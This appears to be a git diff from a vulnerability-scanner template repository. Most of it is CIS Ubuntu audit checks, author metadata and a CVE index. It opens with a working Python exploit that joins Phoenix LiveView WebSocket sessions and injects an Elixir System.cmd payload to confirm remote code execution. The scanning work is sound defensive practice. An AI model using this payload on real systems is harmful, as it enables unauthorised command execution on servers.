frame.extend(struct.pack("!H", ln))
else:
frame.append(0x80 | 127)
frame.extend(struct.pack("!Q", ln))
frame.extend(mask_key)
masked = bytearray(ln)
for i in range(ln):
masked[i] = payload[i] ^ mask_key[i % 4]
frame.extend(masked)
sock.sendall(bytes(frame))
def ws_recv(sock, timeout=10):
sock.settimeout(timeout)
def rx(n):
d = b""
while len(d) < n:
c = sock.recv(n - len(d))
if not c:
raise Exception("closed")
d += c
return d
hdr = rx(2)
op = hdr[0] & 0x0F
mk = (hdr[1] & 0x80) != 0
ln = hdr[1] & 0x7F
if ln == 126:
ln = struct.unpack("!H", rx(2))[0]
elif ln == 127:
ln = struct.unpack("!Q", rx(8))[0]
if mk:
mask_key = rx(4)
pl = rx(ln)
if mk:
pl = bytearray(pl)
for i in range(len(pl)):
pl[i] ^= mask_key[i % 4]
pl = bytes(pl)
return op, pl.decode("utf-8", errors="replace")
# Step 4: Join parent LiveView
parent_join = json.dumps(["1", "1", "lv:phx-" + phx_id, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": parent_session, "static": parent_static}])
ws_send(sock, parent_join)
child_session = None
child_topic = None
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
data = json.loads(msg)
if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
rendered_str = json.dumps(data[4].get("response", {}).get("rendered", {}))
cs = re.findall(r'data-phx-session=\\+"([^"\\]+)', rendered_str)
for s in cs:
if s != parent_session:
child_session = s
break
if not child_session and cs:
child_session = cs[0]
tm = re.findall(r'id=\\+"([^"\\]*-playground-preview)', rendered_str)
if tm:
child_topic = "lv:" + tm[0]
cst = re.findall(r'data-phx-static=\\+"([^"\\]+)', rendered_str)
if cst:
child_static = cst[0]
break
except:
break
if not child_session:
if len(sessions) > 1:
child_session = sessions[1]
else:
print("NOT_VULNERABLE: No child session found")
sock.close()
sys.exit(0)
if not child_topic:
child_topic = "lv:plausible_web_storybook_button-playground-preview"
# Step 5: Join child LiveView
child_join = json.dumps(["2", "2", child_topic, "phx_join", {"url": storybook_url, "params": {"_csrf_token": csrf, "_mounts": 0}, "session": child_session, "static": child_static}])
ws_send(sock, child_join)
child_joined = False
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
data = json.loads(msg)
if isinstance(data, list) and len(data) >= 5 and data[3] == "phx_reply":
st = data[4].get("status", "") if isinstance(data[4], dict) else ""
if st == "ok":
child_joined = True
break
except:
break
if not child_joined:
print("NOT_VULNERABLE: Child join failed")
sock.close()
sys.exit(0)
# Step 6: Send RCE payload
cmd = "id"
exploit_val = 'foo" pwned={elem(System.cmd("sh",["-c","' + cmd + '"]),0)} a="'
exploit_msg = json.dumps(["3", "3", child_topic, "event", {"type": "click", "event": "psb-assign", "value": {"variation_id": "default", "type": exploit_val}}])
ws_send(sock, exploit_msg)
# Step 7: Parse output
rce_output = ""
for _ in range(10):
try:
op, msg = ws_recv(sock)
if not msg:
continue
if "pwned" in msg:
pm = re.search(r'pwned=\\+"(.*?)\\+"', msg)
if not pm:
pm = re.search(r'pwned="(.*?)"', msg)
if pm:
rce_output = pm.group(1).replace("\\n", "\n").replace("\\t", "\t").replace('\\"', '"')
rce_output = re.sub(r'\s+a=.*', '', rce_output, flags=re.DOTALL).strip()
break
except:
break
sock.close()
if rce_output and "uid=" in rce_output:
print("Target: " + target)
print("Status: RCE_CONFIRMED")
print("Command: " + cmd)
print("Output: " + rce_output)
else:
print("NOT_VULNERABLE: No RCE output")
matchers:
- type: word
words:
- "RCE_CONFIRMED"
- "uid="
condition: and
extractors:
- type: regex
name: rce_output
group: 1
regex:
- "Output: (.*)"
# digest: 4a0a0047304502204b78164b1ac3fa82aa42aae4c4d81c4ab56367c10337b4accdb818b2e49bf222022100bbae02a3a26e847c6a34f59527fa417846416ead81fe3492fc367104e3140abd:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: apport-error-reporting-disabled-check
info:
name: Ensure Automatic Error Reporting is Not Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether the Apport automatic error reporting service is enabled.
remediation: |
Disable Apport by editing `/etc/default/apport` and setting:
enabled=0
If Apport is not required, remove it:
sudo apt remove apport -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,apport,error-reporting,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s apport &>/dev/null && grep -Psiq -- '^\h*enabled\h*=\h*[^0]\b' /etc/default/apport; then
echo "[apport-error-reporting-disabled-check:Policy-Fail] [Automatic Error Reporting is enabled] [CIS_FAIL] [medium]"
else
echo "[apport-error-reporting-disabled-check:Policy-Pass] [Automatic Error Reporting is disabled] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402200d37587f3a27f271e96ffbea88879b3f065db850de39a41b3ec97fb0c538f07b0220445de576573745b10d3e4d01b186ef72a9b7270bd0685634c45ddc4348243424:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
id: gdm-automount-removable-media-disabled-check
info:
name: Ensure GDM Automatic Mounting of Removable Media is Disabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether automatic mounting of removable media is disabled.
remediation: |
Disable automatic mounting and automatic opening of removable media in GDM.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,media,automount,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
automount=$(gsettings get org.gnome.desktop.media-handling automount 2>/dev/null)
automount_open=$(gsettings get org.gnome.desktop.media-handling automount-open 2>/dev/null)
if [ "$automount" = "false" ] && [ "$automount_open" = "false" ]; then
echo "[gdm-automount-removable-media-disabled-check:Policy-Pass] [Automatic mounting of removable media is disabled] [CIS_PASS] [medium]"
else
echo "[gdm-automount-removable-media-disabled-check:Policy-Fail] [Automatic mounting of removable media is enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100d49ac46ebe2172ca1f5fa4fbd1d7e2c4c3964ce081c06e33a29d8d87f5789c020220162bf14558a7cd7eca0d7006654b7ba99ffc23fd118e9bd7df99babf6fe13ced:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
id: gdm-autorun-never-enabled-check
info:
name: Ensure GDM autorun-never is Enabled
author: Th3l0newolf
severity: medium
description: |
This template checks whether GDM is configured to disable autorun for removable media.
remediation: |
Enable the `autorun-never` setting to prevent automatic execution of content
from removable media.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,autorun,media,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
autorun_never=$(gsettings get org.gnome.desktop.media-handling autorun-never 2>/dev/null)
if [ "$autorun_never" = "true" ]; then
echo "[gdm-autorun-never-enabled-check:Policy-Pass] [GDM autorun-never is enabled] [CIS_PASS] [medium]"
else
echo "[gdm-autorun-never-enabled-check:Policy-Fail] [GDM autorun-never is not enabled] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a0046304402206c80c1a86743871e9f595f4dcd2a4514b546b38bc6d19526607164c2e3cae9a4022051f4b192684563ca0434b43e54043fdf0111dcd7cc59c761d5ac11d4ae9f7af0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
id: gdm-disable-user-list-enabled-check
info:
name: Ensure GDM disable-user-list Option is Enabled
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM disable-user-list option is enabled.
remediation: |
Enable the `disable-user-list` option in GDM to prevent displaying the
list of local users on the login screen.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,login,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ "$(gsettings get org.gnome.login-screen disable-user-list 2>/dev/null)" = "true" ]; then
echo "[gdm-disable-user-list-enabled-check:Policy-Pass] [GDM disable-user-list option is enabled] [CIS_PASS] [low]"
else
echo "[gdm-disable-user-list-enabled-check:Policy-Fail] [GDM disable-user-list option is not enabled] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022025a93b7d3071b399ffeb3961566cdd9c923917af8678a1a885e811441fa04f01022100a84cee2408f06cfe157bdfcc217d3d32df9a8292f62566c1fad7b7b4542d4758:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: gdm-login-banner-configured-check
info:
name: Ensure GDM Login Banner is Configured
author: Th3l0newolf
severity: low
description: |
This template checks whether the GDM login banner is enabled and configured.
remediation: |
Enable the GDM login banner and configure an appropriate warning message
according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
enabled=$(gsettings get org.gnome.login-screen banner-message-enable 2>/dev/null)
banner=$(gsettings get org.gnome.login-screen banner-message-text 2>/dev/null)
if [ "$enabled" = "true" ] && [ -n "$banner" ] && [ "$banner" != "''" ]; then
echo "[gdm-login-banner-configured-check:Policy-Pass] [GDM login banner is enabled and configured] [CIS_PASS] [low]"
else
echo "[gdm-login-banner-configured-check:Policy-Fail] [GDM login banner is not enabled or not configured] [CIS_FAIL] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100e8489d5b348200a612586fc5e0fe4174623f220b4c1c44d330368d924251f574022057569da8e66eea1e3917a3111c07a2b48f45e4fbd94e6a20d27b35e1b5c732c4:922c64590222798bb761d5b6d8e72950
+42
View File
@@ -0,0 +1,42 @@
id: gdm-removed-check
info:
name: Ensure GDM is Removed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the GNOME Display Manager (GDM) is installed.
remediation: |
Remove the GDM package if it is not required:
sudo apt remove gdm3 -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,gdm3,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s gdm3 &>/dev/null; then
echo "[gdm-removed-check:Policy-Fail] [gdm3 is installed] [CIS_FAIL] [medium]"
else
echo "[gdm-removed-check:Policy-Pass] [gdm3 is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 490a00463044022004cdc95f83850e9d07aa99423acaff95f3f8d644cf673f3f6282fdb499e25cb70220500dbf49f39b14e13f1134f8c4723055f51e6147c5a0f0ca68c4e8e91987f660:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
id: gdm-screen-lock-idle-check
info:
name: Ensure GDM Screen Locks When the User is Idle
author: Th3l0newolf
severity: medium
description: |
This template checks whether the screen is configured to lock after a period of user inactivity.
remediation: |
Configure the screen lock settings to meet your organization's security policy:
- Set `lock-delay` to 5 seconds or less.
- Set `idle-delay` to 900 seconds (15 minutes) or less and ensure it is not disabled.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,gdm,screensaver,screenlock,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
lock_delay=$(gsettings get org.gnome.desktop.screensaver lock-delay 2>/dev/null | awk '{print $2}')
idle_delay=$(gsettings get org.gnome.desktop.session idle-delay 2>/dev/null | awk '{print $2}')
if [ -n "$lock_delay" ] && [ -n "$idle_delay" ] && \
[ "$lock_delay" -le 5 ] && \
[ "$idle_delay" -gt 0 ] && \
[ "$idle_delay" -le 900 ]; then
echo "[gdm-screen-lock-idle-check:Policy-Pass] [Screen lock is configured correctly] [CIS_PASS] [medium]"
else
echo "[gdm-screen-lock-idle-check:Policy-Fail] [Screen lock is not configured correctly] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100be8d82fc5c709641b04535b1b34c9e69db9602eb06a0e4b508c1c7dc598e2a30022065d4f36251f33969b7c7cac33ce18f1b0115cd6ff96f514b5f5f23e57064e639:922c64590222798bb761d5b6d8e72950
+6 -3
View File
@@ -21,7 +21,10 @@ code:
HOME_DIR=$(eval echo ~$user)
find "$HOME_DIR" -maxdepth 1 -type f \
\( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
-exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
-exec ls -l {} \; | awk -v usr="$user" '{
if ($3 != "root" && $3 != usr) print "INVALID_OWNER", $0
else print $0
}'
done
matchers:
@@ -36,5 +39,5 @@ code:
name: invalid-owner
part: response
regex:
- "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
- "^INVALID_OWNER"
# digest: 4b0a004830460221008f1026cc0254988a320127f54f6632957306601d6961aea2ac9a446cd5f6b9ab02210086b126c50bbc20138ad7477bb88eeaf1b605461def18dd415775fd23651b9758:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,47 @@
id: issue-file-permissions-check
info:
name: Ensure Access to /etc/issue is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue`:
sudo chown root:root /etc/issue
sudo chmod 644 /etc/issue
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue)
uid=$(stat -Lc "%u" /etc/issue)
gid=$(stat -Lc "%g" /etc/issue)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-file-permissions-check:Policy-Pass] [/etc/issue ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-file-permissions-check:Policy-Fail] [/etc/issue ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502204805f23b5b2fde38972210068588544f6d63ee85808fd260c1110d3bf74e0f81022100bcf8c34f4972f68f33fcbe9e00e7a9d4d88db7c5fbd44edc9015fdd09435e104:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,47 @@
id: issue-net-file-permissions-check
info:
name: Ensure Access to /etc/issue.net is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/issue.net has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/issue.net`:
sudo chown root:root /etc/issue.net
sudo chmod 644 /etc/issue.net
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
mode=$(stat -Lc "%a" /etc/issue.net)
uid=$(stat -Lc "%u" /etc/issue.net)
gid=$(stat -Lc "%g" /etc/issue.net)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[issue-net-file-permissions-check:Policy-Pass] [/etc/issue.net ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[issue-net-file-permissions-check:Policy-Fail] [/etc/issue.net ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205b90b88bc4944dc3b9d5e1ffd449bfeba36ca31aa5b361d2925d6a9ffdfa31d2022100f198d2b9ea2306ea3da915e903f444320811814b645ca7199caa29242e77e657:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: local-login-warning-banner-configured-check
info:
name: Ensure Local Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the local login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue >/dev/null 2>&1; then
echo "[local-login-warning-banner-configured-check:Policy-Fail] [/etc/issue contains system information] [CIS_FAIL] [low]"
else
echo "[local-login-warning-banner-configured-check:Policy-Pass] [/etc/issue is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100b7f3c0df5a197c8d43ee9e54731a4ca92fda92a03c083fc15c36747d0d38e7cb02201a669b82498409b20c9dfda008d11eeb57e395f382ba3c502504311f675c6653:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: motd-configured-properly-check
info:
name: Ensure Message of the Day is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the Message of the Day (MOTD) is configured
without exposing system information.
remediation: |
Edit `/etc/motd` and remove any operating system, kernel, architecture,
or version information that could disclose system details.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/motd >/dev/null 2>&1; then
echo "[motd-configured-properly-check:Policy-Fail] [/etc/motd contains system information] [CIS_FAIL] [low]"
else
echo "[motd-configured-properly-check:Policy-Pass] [/etc/motd is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205a5f2adda2516b58a427743cc99efc6ebbb0ecde6a4c1675c8b74c47b485913d022100c0fc56c0137edea5823b5e5f0594b7f64e062c607da5c940a903cd81e6fb2dd4:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,52 @@
id: motd-file-permissions-check
info:
name: Ensure Access to /etc/motd is Configured
author: Th3l0newolf
severity: medium
description: |
This template checks whether /etc/motd has secure ownership and permissions.
remediation: |
Set the ownership and permissions on `/etc/motd`:
sudo chown root:root /etc/motd
sudo chmod 644 /etc/motd
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,motd,permissions,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if [ ! -e /etc/motd ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd does not exist] [CIS_PASS] [medium]"
exit 0
fi
mode=$(stat -Lc "%a" /etc/motd)
uid=$(stat -Lc "%u" /etc/motd)
gid=$(stat -Lc "%g" /etc/motd)
if [ "$uid" -eq 0 ] && [ "$gid" -eq 0 ] && [ "$mode" -le 644 ]; then
echo "[motd-file-permissions-check:Policy-Pass] [/etc/motd ownership and permissions are correctly configured] [CIS_PASS] [medium]"
else
echo "[motd-file-permissions-check:Policy-Fail] [/etc/motd ownership or permissions are incorrectly configured] [CIS_FAIL] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502205337c124afb6ffea14ac939029a929394b67bfeadb6e6f0003cee0c40ffd1fa0022100b4febaa25daaaeb3a029834eeccccfdabb508014c26b9f131229f38f4c6b78b1:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
id: prelink-not-installed-check
info:
name: Ensure Prelink is Not Installed
author: Th3l0newolf
severity: medium
description: |
This template checks whether the prelink package is installed.
Prelink modifies binaries to decrease application startup time, but it
interferes with file integrity monitoring and is not recommended on
secure systems.
remediation: |
Remove the prelink package if it is installed:
sudo apt remove prelink -y
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,prelink,package,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
if dpkg-query -s prelink &>/dev/null; then
echo "[prelink-not-installed-check:Policy-Fail] [prelink is installed] [CIS_FAIL] [medium]"
else
echo "[prelink-not-installed-check:Policy-Pass] [prelink is not installed] [CIS_PASS] [medium]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a00473045022100c4e5c119744b7079c44408522880e76d2c682b313df4d0f48dff17eeb1c1f7220220386bd07b1ae18d94f3c0dc5e6d1d0db5cee4e92d3109a171060d2f0555fe2ad5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,46 @@
id: remote-login-warning-banner-configured-check
info:
name: Ensure Remote Login Warning Banner is Configured Properly
author: Th3l0newolf
severity: low
description: |
This template checks whether the remote login warning banner is configured
without exposing system information.
remediation: |
Edit `/etc/issue.net` and remove any operating system, kernel, architecture,
or version information that could disclose system details. Configure the
banner according to your organization's security policy.
reference:
- https://www.cisecurity.org/benchmark/ubuntu_linux
tags: cis,linux,ubuntu,issue.net,banner,audit
metadata:
verified: true
self-contained: true
code:
- engine:
- bash
args:
- "-c"
- |
os_id=$(grep '^ID=' /etc/os-release | cut -d= -f2 | sed 's/"//g')
if grep -E -i "(\\\v|\\\r|\\\m|\\\s|$os_id)" /etc/issue.net >/dev/null 2>&1; then
echo "[remote-login-warning-banner-configured-check:Policy-Fail] [/etc/issue.net contains system information] [CIS_FAIL] [low]"
else
echo "[remote-login-warning-banner-configured-check:Policy-Pass] [/etc/issue.net is properly configured] [CIS_PASS] [low]"
fi
matchers:
- type: word
name: policy-pass
words:
- "Policy-Pass"
- type: word
name: policy-fail
words:
- "Policy-Fail"
# digest: 4a0a0047304502202065d10bad394d8529bc1b5346c26671b0fbf5b686bf3ce722361eedb25a8f40022100d64ffaa84730831df0d67eae2bbf88173117bbee798d3bb1f93fd64bb278a428:922c64590222798bb761d5b6d8e72950
+2 -2
View File
@@ -11,7 +11,7 @@ info:
metadata:
verified: true
shodan-query: port:53
tags: dns,tcp,axfr,code
tags: dns,tcp,axfr,code,vuln
code:
- engine:
@@ -31,4 +31,4 @@ code:
regex:
- 'SOA\s+([^\s]+)'
group: 1
# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
# digest: 4a0a004730450220729310e32ddaf376e205fe7202c209109d72fc732c11c480c2d0e76fcaa5ad3d022100e3ccab3824ce3028b6de37a92e77fc88aa98d5d8e6ae0ef6d8b061490e6ac218:922c64590222798bb761d5b6d8e72950
+20 -1
View File
@@ -1529,5 +1529,24 @@
"website": "https://marcialpaulg.com",
"email": "[email protected]"
}
}
},
{
"author": "zer0p0int",
"links": {
"github": "https://github.com/zer0p0intvvv",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
},
{
"author": "Th3l0newolf",
"links": {
"github": "https://github.com/Th3l0newolf",
"twitter": "",
"linkedin": "",
"website": "",
"email": ""
}
]
+251 -31
View File
@@ -21,7 +21,7 @@
{"ID":"CVE-2008-1059","Info":{"Name":"WordPress Sniplets 1.1.2 - Local File Inclusion","Severity":"high","Description":"PHP remote file inclusion vulnerability in modules/syntax_highlight.php in the Sniplets 1.1.2 and 1.2.2 plugin for WordPress allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2008/CVE-2008-1059.yaml"}
{"ID":"CVE-2008-1061","Info":{"Name":"WordPress Sniplets \u003c=1.2.2 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2008/CVE-2008-1061.yaml"}
{"ID":"CVE-2008-1547","Info":{"Name":"Microsoft OWA Exchange Server 2003 - 'redir.asp' Open Redirection","Severity":"medium","Description":"Open redirect vulnerability in exchweb/bin/redir.asp in Microsoft Outlook Web Access (OWA) for Exchange Server 2003 SP2 (aka build 6.5.7638) allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the URL parameter.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2008/CVE-2008-1547.yaml"}
{"ID":"CVE-2008-2052","Info":{"Name":"Bitrix Site Management 2.x - Open Redirect","Severity":"medium","Description":"Bitrix Site Management 2.x contains an open redirect vulnerability allowing attackers to redirect users to arbitrary external sites via crafted redirect parameters.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2008/CVE-2008-2052.yaml"}
{"ID":"CVE-2008-2052","Info":{"Name":"Bitrix Site Manager 6.5 - Open Redirect","Severity":"medium","Description":"Bitrix Site Manager 6.5 contains an open redirect vulnerability in redirect.php. Remote attackers can redirect users to arbitrary web sites and conduct phishing attacks via a URL in the goto parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2008/CVE-2008-2052.yaml"}
{"ID":"CVE-2008-2398","Info":{"Name":"AppServ Open Project \u003c=2.5.10 - Cross-Site Scripting","Severity":"medium","Description":"AppServ Open Project 2.5.10 and earlier contains a cross-site scripting vulnerability in index.php which allows remote attackers to inject arbitrary web script or HTML via the appservlang parameter.","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2008/CVE-2008-2398.yaml"}
{"ID":"CVE-2008-2650","Info":{"Name":"CMSimple 3.1 - Local File Inclusion","Severity":"medium","Description":"CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2008/CVE-2008-2650.yaml"}
{"ID":"CVE-2008-4668","Info":{"Name":"Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion","Severity":"critical","Description":"Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.","Classification":{"CVSSScore":"9"}},"file_path":"http/cves/2008/CVE-2008-4668.yaml"}
@@ -325,6 +325,7 @@
{"ID":"CVE-2015-7297","Info":{"Name":"Joomla! Core SQL Injection","Severity":"high","Description":"A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2015/CVE-2015-7297.yaml"}
{"ID":"CVE-2015-7377","Info":{"Name":"WordPress Pie-Register \u003c2.0.19 - Cross-Site Scripting","Severity":"medium","Description":"WordPress Pie Register before 2.0.19 contains a reflected cross-site scripting vulnerability in pie-register/pie-register.php which allows remote attackers to inject arbitrary web script or HTML via the invitaion_code parameter in a pie-register page to the default URL.","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2015/CVE-2015-7377.yaml"}
{"ID":"CVE-2015-7450","Info":{"Name":"IBM WebSphere Java Object Deserialization - Remote Code Execution","Severity":"critical","Description":"IBM Websphere Application Server 7, 8, and 8.5 have a deserialization vulnerability in the SOAP Connector (port 8880 by default).","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2015/CVE-2015-7450.yaml"}
{"ID":"CVE-2015-7501","Info":{"Name":"Red Hat JBoss - Insecure Deserialization","Severity":"critical","Description":"Red Hat JBoss Application Server (4.x, 5.x, 6.x) contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apache Commons Collections gadget chain to achieve remote code execution. CVE-2015-7501 is the original 2015 FoxGlove Security disclosure of the Java Commons Collections deserialization vulnerability class.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2015/CVE-2015-7501.yaml"}
{"ID":"CVE-2015-7780","Info":{"Name":"ManageEngine Firewall Analyzer \u003c8.0 - Local File Inclusion","Severity":"medium","Description":"ManageEngine Firewall Analyzer before 8.0 is vulnerable to local file inclusion.","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2015/CVE-2015-7780.yaml"}
